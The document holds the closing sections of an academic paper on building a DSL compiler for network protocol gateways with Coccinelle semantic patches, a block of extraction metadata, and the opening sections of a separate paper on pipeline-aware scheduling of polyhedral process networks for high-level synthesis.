Figure 10 shows the semantic patch that generates code for sending requests synchronously. This semantic patch replaces the call to send by a series of more primitive operations. First, the private fields of the template are initialized (template_sending_req, line 14), and then the resulting template is flushed to a string (line 17) that can be sent on the network (line 19). Finally, the raw data that is received as a response is parsed to fill a message view, res, (line 20) that can easily be processed in the remainder of the program. Several of these operations, such as constructing the view of the response and parsing the raw response data to fill this view, rely on functions specific to the protocol associated with the sent message. Fresh identifiers (lines 3-10) are used to create names to be used to store temporary values (lines 3-4) or to reference these protocol-specific operations (lines 5-10).
We compare our approach to our previous work in which we developed a traditional, abstract-syntax tree based compiler from the z2z DSL to C using OCaml. We have used the z2z DSL to specify a number of gateways: between SIP and RTSP, between SLP and UPnP, and between SMTP and SMTP via HTTP. In each case, both compilers produce gateways that are equivalent in terms of executable binary size and execution performance. Therefore, we focus our evaluation on the size of the compiler and the compiler execution time. We also illustrate the process of correcting a bug in the Coccinelle-based compiler.
**Code size.** The size of the compiler gives an idea of the difficulty that may confront a language maintainer. Table I shows that our original MTL compiler contains over three times as many lines of code as the Coccinelle-based one. Maintenance of the Coccinelle-based C-MTL compiler is also eased by the fact that it is clearly separated into reorganization, verification and generation phases; in the original MTL compiler, these issues are somewhat mixed, making it hard for a maintainer to separately address issues in one part without introducing and needing to deal with side-effects in the others. Finally, the fact that SmPL matching and transformation rules are syntactically close to the original code and the generated code, eases the maintenance of the language implementation.
Table I shows in more detail the size of the different parts of the compiler that deal with specific language features. For instance, for the `send` operation we consider the transformation rules involved in the code tagging process for managing continuations, and in generating the appropriate code for different protocol behaviors. In this case, the limited number of lines of code combined with the simplicity of the transformations simplifies debugging.
Whereas the MTL compiler has to generate code for all of the constructs of the language, the C-MTL compiler performs code generation only for terms whose C semantics is different from the C-MTL semantics, which drastically reduces the size of the compiler. Indeed, C-MTL reuses many language features of the C language, such as arithmetic operators, for free without requiring any extra development effort.
**Compilation time.** To measure the compilation time, we use a Dell 2.40 GHZ Intel® Core™ 2 Duo with 3.9 GB of RAM, running Ubuntu with Linux kernel 2.6.32. We use Coccinelle 1.0.0-rc1, compiled using OCaml 3.11.2. We test both compilers on a gateway between the SLP and UPnP service discovery protocols.
The original MTL compiler requires only 0.101 seconds to compile the SLP-UPnP gateway, while the Coccinelle-based C-MTL compiler requires 4.192 seconds. Indeed, just the code generation for the `send` operation, as described above, requires 0.212 seconds, which is more than the total time of the original MTL compiler implemented in OCaml on this code. As opposed to the original MTL compiler which is dedicated to that purpose, the C-MTL compiler relies on Coccinelle which is a general-purpose program matching and transformation engine for C. Furthermore, to compile a C-MTL specification, we launch Coccinelle successively for each semantic match, requiring the C-MTL code to be read from disk and parsed at each step, whereas the MTL compiler parses the code only once before carrying out, at once, all verification and generation steps. It should be straightforward to modify Coccinelle to address this issue.
### Table II. C-MTL compiler code size for specific language features
<table>
<thead>
<tr>
<th>Compiler feature</th>
<th># SmPL rules</th>
<th>C-MTL compiler code size (LOC)</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Consistency checks</strong></td>
<td>6</td>
<td>189</td>
</tr>
<tr>
<td>Message view fields – mandatory, public and read-only</td>
<td>6</td>
<td></td>
</tr>
<tr>
<td>Message template fields – mandatory, public, initialized</td>
<td>6</td>
<td></td>
</tr>
<tr>
<td><strong>Dataflow analysis</strong></td>
<td>4</td>
<td>108</td>
</tr>
<tr>
<td>Initialization of public fields – empty test prior to access</td>
<td>4</td>
<td></td>
</tr>
<tr>
<td>Initialization of message structures – before sending a template</td>
<td>5</td>
<td></td>
</tr>
<tr>
<td><strong>Message construction</strong></td>
<td>5</td>
<td>355</td>
</tr>
<tr>
<td>Convert message constructors</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Fill message templates and fields</td>
<td>13</td>
<td></td>
</tr>
<tr>
<td><strong>Support for TCP connections</strong></td>
<td>7</td>
<td>110</td>
</tr>
<tr>
<td>Add TCP protocol support</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Code for opening/closing TCP connections</td>
<td>2</td>
<td></td>
</tr>
<tr>
<td><strong>Session management</strong></td>
<td>6</td>
<td>160</td>
</tr>
<tr>
<td>Processing of session variables</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Handling of continuations</td>
<td>6</td>
<td></td>
</tr>
<tr>
<td>Insertion of locks for session variables</td>
<td>17</td>
<td></td>
</tr>
<tr>
<td><strong>Send operation</strong></td>
<td>10</td>
<td>388</td>
</tr>
<tr>
<td>Rewrite return statements</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Rewrite TCP response handlers</td>
<td>7</td>
<td></td>
</tr>
<tr>
<td><strong>Miscellaneous transformations</strong></td>
<td>9</td>
<td>173</td>
</tr>
<tr>
<td>Add parameters to handlers</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Add headers for Runtime System primitives</td>
<td>6</td>
<td></td>
</tr>
<tr>
<td>Modify connection functions names</td>
<td>6</td>
<td></td>
</tr>
<tr>
<td>Straighten string comparisons (with strcmp)</td>
<td>1</td>
<td></td>
</tr>
</tbody>
</table>
Correcting a buggy compilation rule. In Figure 9 we showed how to add the use of locks to protect accesses to session variables. Our first, incorrect, attempt at implementing this functionality is shown in Figure 11. This semantic patch identifies handlers that reference global variables (rule `needs_locks`), inserts lock acquisitions at the beginning of all continuations in such handlers (rule `buggy`), and adds lock releases at the end of such continuations (rule `unlock`). After testing this rule, we observed that the generated code is not correct as the lock should only be acquired after the session is actually started. Once the problem was identified, it was easy to correct the SmPL transformation rules by restricting the set of affected continuations, resulting in the rules shown previously.
```shell
1 @needs_locks@
2 identifier cmtl_handlers.handler;
3 identifier globals.i;
4 @@
5 handler(...) {
6 <+* i ...+>
7 }
8 @buggy depends on needs_locks@
9 identifier cmtl_handlers.handler;
10 @@
11 handler(...) {
12 <... when strict
13 + unlock();
14 return@p ...;
```
Figure 11. Code generation: *Handlers that refer to the global environment need locks at the beginning of all their continuations.*
Improving the transformations when using Coccinelle, as highlighted above, comes down to extending a rule or writing an additional rule for dealing with a special case. In the original implementation of the MTL compiler, however, rewriting the generation of lock code requires correlating portions of code in several files. Among these files are those that are relevant to the implementation of the traversal of the language abstract-syntax tree, and the pretty printer of the generated code. The tasks of revisiting these files when bugs are found can become tedious, over the long term, even for those who implemented the compiler in the first place.
6. RELATED WORK
A number of surveys have considered the advantages and disadvantages of various DSL implementation strategies. Spinellis [22], Kosar [11] and Mernik [23] have categorized various DSL design and implementation patterns and have compared the different approaches in terms of implementation effort and end-user effort. For instance, Kosar et al. have ranked the internal (embedded) implementation approach as the best in terms of development effort, by showing that it requires less code. On the other hand, the source-to-source and compiler generator approaches require less effort from the end-user, because the DSL syntax can typically be more closely tied to the domain, which often reduces DSL program sizes. In our work, we are able to provide a syntax that is tied to the domain, as network protocol developers are used to C programming, but that follows the internal implementation approach. We present below other related work on DSL development.
**Internal DSLs.** Internal DSLs, also often referred to as Domain-specific embedded languages (DSELs), are increasingly common, driven by the introduction of DSL-development methodologies based on General Purpose Languages (GPLs) such as Lisp, Ruby, Haskell or Scala that are well adapted to serve as host languages [21, 24, 25]. Indeed, these GPLs provide a number of features that are beneficial in DSEL implementation: support for higher-order functions, lazy evaluation, strong typing with polymorphism, and overloading [23]. Baars et al. have also proposed a number of embedded compilers for internal languages hosted in such languages [26, 27, 28]. they achieve run-time compilation of the internal language [29, 30]. However, their work requires explicit manipulation of the abstract syntax trees by the DSL developer, which can make debugging of the DSL implementation tedious.
Recent meta-programming techniques, such as expression templates, have facilitated the hosting of several DSLs in C++, including languages dedicated to scientific computing [10, 31]. Tratt has recently described an approach of DSL implementation through embedding into the Converge‡‡ programming language [32]. In this case, the embedding is facilitated by a compile-time meta-programming feature. Our approach instead leverages a system, Coccinelle, that is external to the C host language. The Helvetia [33] workbench accommodates language embedding by providing an infrastructure that defines extension points for leveraging the host language’s compiler and tools. Similarly, Hofer et al. have advocated polymorphic embedding [34] of DSLs to reconcile the rapid prototyping that can be achieved by simply borrowing the syntax and semantics of the host language in pure embedding with the flexibility that can be attained by using external toolchains. We also aim for this goal by leveraging the Coccinelle transformation engine as a tool chain for C-like programs.
The C language is a challenging target for DSL hosting. Existing approaches have typically relied on the use of macros and domain-specific libraries [35]. With this strategy, any verification requiring control or data flow information must rely on externally developed analyses, requiring substantial development effort. We have avoided the need to develop such analyses from scratch by leveraging an existing scriptable code matching and transformation tool.
**Compiler-based DSLs.** The design and implementation of compilers for domain-specific languages is broadly discussed in the literature [6, 9, 22, 36]. Whether developers use standard compiler/interpreter techniques to directly implement a DSL, or extend an existing GPL compiler, the development is often at a high cost and produces an implementation that is tied to the language or to a domain, complicating reuse. Despite these disadvantages, the compiler approach has gained wide acceptance because it allows constructing a DSL whose syntax is as close as possible to the notation used by domain experts, and because it may offer good error reporting [11]. In our work, we have shown that a compiler toolkit based on Coccinelle is more flexible for DSL maintenance.
‡‡http://convergepl.org/
The Broadway compiler [37] allows developers to use code annotations to provide the compiler with domain-specific knowledge, rather than hard coding the knowledge in the compiler. The Broadway compiler, however, is more targeted towards optimizing uses of domain-specific libraries, rather than towards DSLs.
Program transformation. Approaches to implementing DSL compilers based on syntactic rewriting or transformation rules have been proposed in the literature. Systems such as ASF+SDF [38], JTS [39], DMS [40] and Stratego [41, 42, 43] make it possible to design and implement DSLs based on program transformation strategies. These systems often use specialized metalanguages to describe the various aspects of the DSL. The main advantage of our approach lies in the proximity between the language describing the transformation rules and the developed DSL, and the developer effort required in learning the former. Stratego optionally allows developers to express patterns on concrete terms using concrete syntax, but the connections between these terms are expressed using a separate tree traversal language, creating a gap between the source program and the Stratego specification that transforms it.
The Glasgow Haskell Compiler (GHC) [44] is a source-to-source compiler which consists of specified transformation rules for performing inlining, dead code elimination and other simple optimizations. GHC, however, only addresses Haskell, rather than DSLs in which individual constructs may have a richer, domain-specific semantics.
Modular compilation. In the nanopass framework [45], the implementation of a compiler is structured into many passes, each performing very little work, to simplify development, testing and debugging. This approach is very close to ours as it allows the implementation steps to reflect the organization of the analysis, transformations and optimizations, facilitating understanding and maintenance. Our approach goes further by allowing the implementation of each compiler pass to be syntactically close to the generated code.
7. CONCLUSION AND FUTURE WORK
Developing a compiler for a domain-specific language is complex, requiring both expertise in compiler construction techniques and domain knowledge. Most compilers are implemented in a monolithic way where the organization of domain-specific analysis and transformations is mingled, thus complicating maintenance. The structure of the compiler’s code is furthermore often distant from the input and output programs, which can be a disadvantage during testing and debugging.
In this paper, we have demonstrated the suitability of specifying a DSL compiler and verifier using control-flow sensitive concrete-syntax based matching rules. We embed domain-specific notations in the C programming language and rely on Coccinelle, a program matching and transformation tool, to carry out the specified verifications and transformations. In our source-to-source compiler approach, a DSL program is incrementally processed by various transformation rules to produce the final, safe and optimized, C program which is compilable using a standard C compiler.
We have reported a successful experience of compiler development for a network protocol gateway DSL with the proposed approach, detailing its benefits over our previous compiler implementation. These benefits mainly involve the simplification of debugging and maintenance tasks, due to the use of transformation rules that are specific to the affected language constructs. This feature makes the rules independent of the set of constructs used in the rest of the code, potentially allowing some parts of a DSL program to be implemented as arbitrary C code. This makes it possible to explore the spectrum between the expressiveness of a complete C solution and the robustness of a complete DSL solution.
This work raises several potential research directions. Debugging is known to be difficult for languages implemented by translation, because there is no obvious connection between the executed code and the source code. One possibility is to introduce original source line information using macros during the code reorganization phase, to improve error reporting. Another potential research
direction is to improve the performance of Coccinelle, in the case of the application of a series of rules to a single code base, as required by our approach. Finally, we will investigate whether there are other DSLs that can benefit from a Coccinelle-based compiler.
References
35. Hyde RL. The RATC v3.0 domain specific embedded language for C/C++ programmers.
|
{"Source-Url": "https://hal.archives-ouvertes.fr/hal-00844536/file/spe.pdf", "len_cl100k_base": 13631, "olmocr-version": "0.1.53", "pdf-total-pages": 21, "total-fallback-pages": 0, "total-input-tokens": 69208, "total-output-tokens": 17318, "length": "2e13", "weborganizer": {"__label__adult": 0.0003459453582763672, "__label__art_design": 0.0002567768096923828, "__label__crime_law": 0.0002191066741943359, "__label__education_jobs": 0.0004482269287109375, "__label__entertainment": 4.76837158203125e-05, "__label__fashion_beauty": 0.00014162063598632812, "__label__finance_business": 0.00017702579498291016, "__label__food_dining": 0.00031685829162597656, "__label__games": 0.00045990943908691406, "__label__hardware": 0.0010843276977539062, "__label__health": 0.0003707408905029297, "__label__history": 0.00019609928131103516, "__label__home_hobbies": 7.50422477722168e-05, "__label__industrial": 0.0003459453582763672, "__label__literature": 0.0001962184906005859, "__label__politics": 0.00023090839385986328, "__label__religion": 0.0005145072937011719, "__label__science_tech": 0.007694244384765625, "__label__social_life": 5.948543548583984e-05, "__label__software": 0.003467559814453125, "__label__software_dev": 0.982421875, "__label__sports_fitness": 0.0002720355987548828, "__label__transportation": 0.0005640983581542969, "__label__travel": 0.0002014636993408203}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 74488, 0.05699]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 74488, 0.53608]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 74488, 0.86764]], "google_gemma-3-12b-it_contains_pii": [[0, 1049, false], [1049, 4171, null], [4171, 8811, null], [8811, 12982, null], [12982, 16023, null], [16023, 20380, null], [20380, 24437, null], [24437, 27893, null], [27893, 30833, null], [30833, 34060, null], [34060, 38060, null], [38060, 42410, null], [42410, 43723, null], [43723, 47738, null], [47738, 49227, null], [49227, 52712, null], [52712, 57178, null], [57178, 61364, null], [61364, 65605, null], [65605, 70952, null], [70952, 74488, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1049, true], [1049, 4171, null], [4171, 8811, null], [8811, 12982, null], [12982, 16023, null], [16023, 20380, null], [20380, 24437, null], [24437, 27893, null], [27893, 30833, null], [30833, 34060, null], [34060, 38060, null], [38060, 42410, null], [42410, 43723, null], [43723, 47738, null], [47738, 49227, null], [49227, 52712, null], [52712, 57178, null], [57178, 61364, null], [61364, 65605, null], [65605, 70952, null], [70952, 74488, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 74488, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 74488, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 74488, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 74488, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 74488, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 74488, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 74488, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 74488, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 74488, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 74488, null]], "pdf_page_numbers": [[0, 1049, 1], [1049, 4171, 2], [4171, 8811, 3], [8811, 12982, 4], [12982, 16023, 5], [16023, 20380, 6], [20380, 24437, 7], [24437, 27893, 8], [27893, 30833, 9], [30833, 34060, 10], [34060, 38060, 11], [38060, 42410, 12], [42410, 43723, 13], [43723, 47738, 14], [47738, 49227, 15], [49227, 52712, 16], [52712, 57178, 17], [57178, 61364, 18], [61364, 65605, 19], [65605, 70952, 20], [70952, 74488, 21]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 74488, 0.08075]]}
|
olmocr_science_pdfs
|
2024-12-09
|
2024-12-09
|
bf19782b1b45819edc790957605bdecc4ba65d48
|
Pipeline-aware Scheduling of Polyhedral Process Networks
Christophe Alias, Julien Rudeau
Pipeline-aware Scheduling of Polyhedral Process Networks
Christophe Alias
Laboratoire de l’Informatique du Parallélisme
CNRS, ENS de Lyon, Inria, UCBL, Université de Lyon
Lyon, France
Christophe.Alias@inria.fr
Julien Rudeau
Laboratoire de l’Informatique du Parallélisme
CNRS, ENS de Lyon, Inria, UCBL, Université de Lyon
Lyon, France
Julien.Rudeau@ens-lyon.fr
Abstract
The polyhedral model is a well-known framework to develop accurate and optimal automatic parallelizers for high-performance computing kernels. It is progressively migrating to high-level synthesis through polyhedral process networks (PPN), a dataflow model of computation which serves as intermediate representation for high-level synthesis. Many locks must be overcome before having a fully working polyhedral HLS tool, both from a front-end (C → PPN) and back-end (PPN → FPGA) perspective. In this paper, we propose a front-end scheduling algorithm which reorganizes the computation of processes to maximize the pipeline efficiency of the processes’ arithmetic operators. We show that our approach improve significantly the overall latency as well as the pipeline efficiency.
Keywords high-level synthesis, process networks, automatic parallelization, polyhedral model
1 Introduction
Since the end of Dennard scaling, energy efficiency (measured in flop/J) has become a major issue whenever the energy budget is limited, typically for embedded systems and high-performance computers (HPC). The current trend is to explore the trade-off between architecture programmability and energy efficiency (op/J). At the two extremes, an ASIC (application specific integrated circuit) finely tuned to realize a specific function is more energy efficient than a mainsteam processor (Xeon, etc). Hence the rise of hardware accelerators [9] (Xeon-Phi, GPU, FPGA). FPGA appears as the solution: they combine the (potential) energy efficiency of a specialized circuit with the programmability. With FPGA, the program is a circuit configuration. However, designing a circuit is far more complex than writing a C program. Disruptive compiler technologies are required to generate automatically a circuit configuration from an algorithmic description (High-level synthesis, HLS) [6]. An HLS compiler must extract the parallelism of the input program and allocate the computation and the data to circuit resources (FPGA reconfigurable units). A crucial point is the choice of the intermediate representation. Dataflow models of computation appear as a good candidate, notably the polyhedral process networks (PPN) developed in the context of the Compaan project [12, 19] and addressed in this paper. A PPN is made of processes communicating through buffers with the KPN semantics [12]. The execution of a PPN is locally sequential (with a fixed schedule \( \theta_P \) for each process \( P \)) and globally dataflow.
Floating point arithmetic operators (+, −, ×, ÷, √, . . .) used in hardware accelerators are pipelined to guarantee the circuit bandwidth. An operation \( i \) produces a result at the date \( t(i) + \delta \), with \( \delta \) the number of pipeline stages. If the result of \( i \) is used by an operation \( j \), \( j \) will have to wait for its availability: \( t(j) > t(i) + \delta \) (pipeline constraint). Otherwise, the pipeline of \( j \) will be frozen until the data is available. Scheduling under pipeline constraints – or pipeline aware scheduling – consists in reorganizing the computations to reduce the total execution time while satisfying the pipeline constraints. This problem is known to be NP-complete on simple sequential codes without tests and loops [4, 10] (basic blocks).
In this paper, we propose a pipeline-aware scheduling algorithm for the front-end (C → PPN) of an HLS compiler. Each process \( P \) executes multiple iterations with a pipelined datapath with \( \delta_P \) stages. Our goal is to reorder the iterations executed by the processes to reduce the pipeline stalls and to improve the overall latency of the PPN. More specifically, we make the following contributions:
- We build on [1] to propose a general pipeline-aware scheduling algorithm for polyhedral process networks. The algorithm presented in [1] schedules perfect loop nests with uniform dependencies. Our extension covers the entire class of polyhedral process networks, with a far more general dependence and computation structure.
- We conduct a theoretical study of pipeline-aware scheduling, we define a notion of pipeline optimality and we prove a necessary condition for a schedule to be optimal. We show this condition to be sufficient under restricted conditions, corresponding to the precondition of [1]. As a side effect, we prove the optimality of [1].
- We applied our algorithm to the compute-intensive kernels of the polybench/C suite [15]. This show that, in practice, our algorithm reduce significantly the overall latency and improve significantly the pipeline efficiency.
The remainder of this paper is structured as follows. Section 2 introduces the polyhedral model and the polyhedral process networks. Section 3 provides a theoretical study of pipeline-aware scheduling of polyhedral process network, proves a necessary condition which inspires our algorithms and demonstrates the optimality of [1]. Section 4 recalls [1] and presents our pipeline-aware scheduling algorithm for PPN. Section 5 gives the experimental results obtained on the kernels from Polybench/C. Finally, Section 6 concludes this paper and draws future research directions.
2 Preliminaries
This section introduces the context of this paper. Section 2.1 presents the polyhedral model, a general framework to design automatic parallelizers, then Section 2.2 presents the Polyhedral process network, the HLS intermediate representation addressed in this paper.
2.1 Polyhedral model
The polyhedral model is a general framework to analyse and to transform programs. It abstracts loop iterations as a union of convex polyhedra – hence the name – and data accesses as affine functions. This way, precise – iteration-level – compiler algorithms may be designed (dependence analysis [7], scheduling [8] or loop tiling [5] to quote a few) to transform programs. It abstracts loop iterations as statements of enclosing loop counters and presents our pipeline-aware scheduling algorithm for PPN. Section 5 gives the experimental results obtained on the kernels from Polybench/C. Finally, Section 6 concludes this paper and draws future research directions.
Program model The polyhedral model manipulates loop kernels – referred to as polyhedral programs – which consist of nested for loops and if conditions manipulating arrays and scalar variables, that satisfies an affinity property: loop bounds, if conditions, and array access functions are affine expressions of looping counters and structure parameters. With polyhedral programs, the control is static: it only depends on the input size (the structure parameters), not the input values. This way, loop iterations and array accesses might be represented statically. Polyhedral programs covers an important class of compute- and data-intensive kernels usually found in linear algebra and signal processing applications [3, 15]. With polyhedral programs, each iteration of a loop nest is uniquely represented by the vector of enclosing loop counters. The execution of a program statement S at iteration \( \bar{i} \) is denoted by \( \bar{S}, \bar{i} \). The set \( D_S \) of iteration vectors is called the iteration domain of \( S \). Figure 1.1(a) depicts a polyhedral program computing the composition of matrix-vector product \( \bar{x} := A(B \bar{x}) \), where \( A \) and \( B \) are two matrices and \( \bar{x} \) is a vector. (b) depicts the iteration domains \( D_S \) and \( D_T \) (grey points) of statements \( S \) and \( T \). Thanks to the affinity property, an iteration domain is always defined as a conjunction of affine constraints on the iteration vector \( \bar{i} \) and structure parameters (here \( N \), the matrix/vector size).
Data dependences In the polyhedral model, data dependences may be represented as Presburger relations \( \{(S, \bar{i}) \rightarrow (T, \bar{j}) \mid \Phi(\bar{i}, \bar{j}, \bar{N}) \} \), where \( \Phi(\bar{i}, \bar{j}, \bar{N}) \) is a formula of the Presburger arithmetic (usually a conjunction of affine constraints) whose variables are the source iteration \( \bar{i} \), the target iteration \( \bar{j} \) and the structure parameters \( \bar{N} \). On our example, the flow data dependences might be summed up as:
1. \( \{(S, i, j - 1) \rightarrow (S, i, j) \mid 0 \leq i, j - 1, j < N \} \)
2. \( \{(S, i, N - 1) \rightarrow (T, 0, j) \mid 0 \leq i < N \} \)
3. \( \{(T, i, j - 1) \rightarrow (T, i, j) \mid 0 \leq i, j - 1, j < N \} \)
Data-dependences (1) (resp. (3)) are local to \( S \) (resp. \( T \)). They capture the += accumulation across iterations of \( S \) (resp. \( T \)). They are represented with red arrows on (b). Data-dependences (2) captures the communication of \( \bar{y} \) (carrying the intermediate matrix-product vector \( B \bar{x} \)) from \( S \) to \( T \). They are depicted with yellow arrows on (b).
Scheduling In the polyhedral model, a program is parallelized by modifying the execution order (scheduling) and the allocation of data and computation across processing units. Schedules are affine-per-statement: for each statement \( S \), an affine mapping \( \theta_S \) is provided, which maps each execution \( \bar{S}, \bar{i} \) to a timestamp \( \theta_S(\bar{i}) = (t_1, \ldots, t_k) \in (\mathbb{Z}^n, \prec) \); the timestamps being order with the lexicographic ordering \( \prec : (i, j) \prec (i', j') \) if \( i < i' \) or \( i = i' \land j < j' \). Intuitively, \( \bar{S}, \bar{i} \) is the new iteration of \( S \) in the target program. On our example, a schedule \( \theta_S(i, j) = (0, i, j), \theta_T(i, j) = (1, i, j) \) would execute all the iterations of \( S \) (coordinate 0), then all the iterations of \( T \) (coordinate 1). Also, the iterations of \( S \) are executed in the original order – \( (i, j) \) “for i for j”– while the iterations of \( T \) are executed as if loops i and j would be permuted – \( (j, i) \) “for j for i”. A schedule \( \theta \) induces a new execution order \( \prec_\theta \). When \( \prec_\theta \) is total, the schedule is said to be sequential. In that case, each execution \( \bar{S}, \bar{i} \) has at most one successor \( \bar{S}, \bar{j} \) in the execution sequence. The control dependence \( \xrightarrow{ctrl} \) relates \( \bar{S}, \bar{i} \) to \( \bar{S}, \bar{j} \); \( \bar{S}, \bar{i} \xrightarrow{ctrl} \bar{S}, \bar{j} \).
Loop tiling Loop tiling [5, 11] (also called loop blocking [20]) is a well known loop transformation to distribute the computation while optimizing the data locality. With loop tiling, iterations are grouped into tiles, then each tile is executed atomically: interdependence between tiles is forbidden. Figure 1.(b) gives an example of loop tiling in the polyhedral model. The iterations are simply partitioned by sliding cutting hyperplanes (depicted with blue lines – plain and dotted) defined by their equation at the origin. Iterations of \( S \) are cut by the hyperplanes \( \phi^S = (\phi_1^S, \phi_2^S) \) with \( \phi_1^S(i, j) = i \) (blue, plain) and \( \phi_2^S(i, j) = j \) (blue, dotted). The tile size is then defined as the cutting step in each direction. Here, we would have \( (T_1, T_2) = (2, 2) \). After applying a loop tiling, an iteration \( \bar{i} \) is transformed to \( (\bar{i}, \bar{t}) \), where \( \bar{t} \) is the tile coordinate and \( \bar{i} \) is an iteration belonging to the tile. For instance, the iterations of \( S \) would become \( (\bar{i}, \bar{t}) = (I_1, I_2, i, j) \), see \( I_1 \) and \( I_2 \) on (b).
2.2 Polyhedral process networks
Process networks [12, 19] are dataflow models of computation expressing naturally task-level parallelism for streaming applications. They are a relevant intermediate representation for parallelizing compilers, where a front-end extracts the parallelism and derive the process network, then a back-end maps the process network to the target architecture.
Polyhedral process networks (PPN) were primarily developed in the Compaan project [14, 16, 17, 19], to design high-level synthesis techniques leveraging the polyhedral model. With PPN, each statement is mapped to a process, then buffers are created to carry the flow of data between processes. PPN expose task parallelism, which may be tuned using process splitting [14] or partitioning [2]. The semantics of a PPN is locally sequential, globally dataflow: locally, a process $S$ executes its iteration by following a schedule $\theta_S$. When an iteration is ready to be executed, it tries to read the input data from the buffers. If all the inputs are available, the output value is computed and then written to the output buffers (a data may be written to several buffers). When all the writes are done, the next iteration is executed. To enforce the determinism of a PPN, there is exactly one buffer per couple (producer,read). On our example, we obtain the PPN depicted on Figure 1.(c).
There are two kinds of processes: the compute processes translating the kernel itself ($S$ and $T$) and the Load/Store processes responsible to interface the PPN with the outside world. Remark that the buffers follow exactly the flow dependences and that one buffer is created per couple (producer/read). Depending on the communication pattern [18], buffers might be implemented with a FIFO (when the data are read in the same order than they are written – in-order), a FIFO with a register (when data are read in-order, but multiple times) or a synchronized scratch-pad otherwise. Finally, each process $S$ is assigned a polyhedral schedule $\theta_S$. The derivation of a PPN from a polyhedral program leverages direct flow data-dependences [7] – flow data-dependences connecting the production of a value to its consumption (see the arrows on Figure 1.(b)). Note that a flow data-dependence might not be direct: for instance $(S, 0, 0) \rightarrow (S, 0, 2)$ (not depicted). Formally, direct flow data-dependences are the smallest subset of flow data-dependences whose transitive closure is the set of flow data-dependences.
The goal of this paper is to schedule the processes (find the $\theta_S$) so their pipelined datapath stalls as little as possible. On our example, processes $S$ and $T$ uses the multiply-accumulate arithmetic operator depicted on Figure 2 with a pipeline depth $\delta_S = \delta_T = m > 1$. Executing $S$ in the original sequential order $\theta_S(i, j) = (i, j)$ would result in a pipeline stall at each iteration, since each iteration would wait for the result produced by the previous iteration. Now if the loops are simply permuted $\theta_S(i, j) = (j, i)$, for each $j$, a sequence of independent iterations would be executed without pipeline stall. And when executing the next $j$, the result would be available, provided the sequence of independent iterations takes more cycles than the multiply-accumulate pipeline depth. However, this would require to store $N - m$ values out of the pipeline between the execution of two $j$. Hence, additional tuning is required. The key idea developed in this paper is to hide the pipeline latency by scheduling the right number of independent operations.
The next section provides a theoretical study for pipeline-aware scheduling and points out a necessary and sufficient condition for the existence of a stall-free schedule. Then section 4 will present our algorithm for pipeline-aware scheduling.
3 Pipeline-aware Scheduling
This section presents a theoretical study of pipeline-aware scheduling of PPN, which inspires the algorithm presented in the next section. In particular, we define a notion of optimality – a schedule is optimal iff it is pipeline freeze-free, and we show a necessary condition to reach this goal, which is proven to be sufficient under more restricted hypothesis.
Dataflow schedule, notion of optimality The execution of a PPN is locally sequential – with a schedule $\theta_P$ for each process $P$, and globally dataflow. To reason properly about
PPN, we need to define a global dataflow schedule assigning a global timestamp \( t_p(i) \in \mathbb{R} \) to each iteration \( i \) of each process \( P \). In our model, each process \( P \) is assumed to be equipped with a pipelined datapath of latency \( \delta_p \): the execution of the iterations can be pipelined at each cycle and the result will be available \( \delta_p \) cycles later:
**Definition 3.1 (dataflow schedule).** The dataflow schedule sets an execution date \( t_f(j) \) for each iteration \( j \) of process \( T \):
- If \( j \) is the very first iteration of \( T \) and if it does not wait for any input (no predecessor w.r.t. the dependence relation \( \rightarrow \)), then \( t_f(i) \) is set to 0.
- Otherwise, consider the predecessors of \( (T, j) \) for the dependence relation \( \rightarrow \), \( \langle S_1, i_1 \rangle, \ldots, \langle S_p, i_p \rangle \), and for the control relation \( \rightarrow \), \( (T, j) \). We define:
\[
t_f(j) = \max\{t_S(i_1) + \delta_S, \ldots, t_S(i_p) + \delta_S, t_p(i) + 1\}
\]
In other words, \( (T, j) \) is executed as soon as possible once it has control and once incoming dependences are satisfied.
The maximum term in \( \max\{t_S(i_1) + \delta_S, \ldots, t_S(i_p) + \delta_S, t_p(i) + 1\} \) defines the winning dependence: if it is \( t_f(i) + 1 \), the control dependence \( (T, j) \) wins over the data-dependence. This means that iteration \( j \) of process \( T \) might be executed directly without waiting for input data. A contrario, when a data-dependence wins, the iteration has to wait until the data is available. This observation leads to the following notion of optimality:
**Definition 3.2 (Optimality criterion).** A dataflow schedule \( t \) is optimal iff process iterations never wait for an incoming data:
\[
\langle S, i \rangle \xrightarrow{ctl} \langle S, j \rangle \Rightarrow t_f(j) = t_f(i) + 1
\]
**A necessary condition for optimality** As pointed out, a good schedule needs to hide the pipeline latency by executing independent iterations between the source and the target of a data dependence. Since we deal with process networks, we need to consider dependence chains across processes:
**Definition 3.3 (Latency).** The latency of a dependence chain \( c : \omega_1 \rightarrow \ldots \rightarrow \omega_{n-1} \rightarrow \omega_n \) where \( n \geq 2 \) is:
\[
\lambda(c) = t(\omega_{n-1}) - t(\omega_1) + \delta_{\omega_{n-1}}
\]
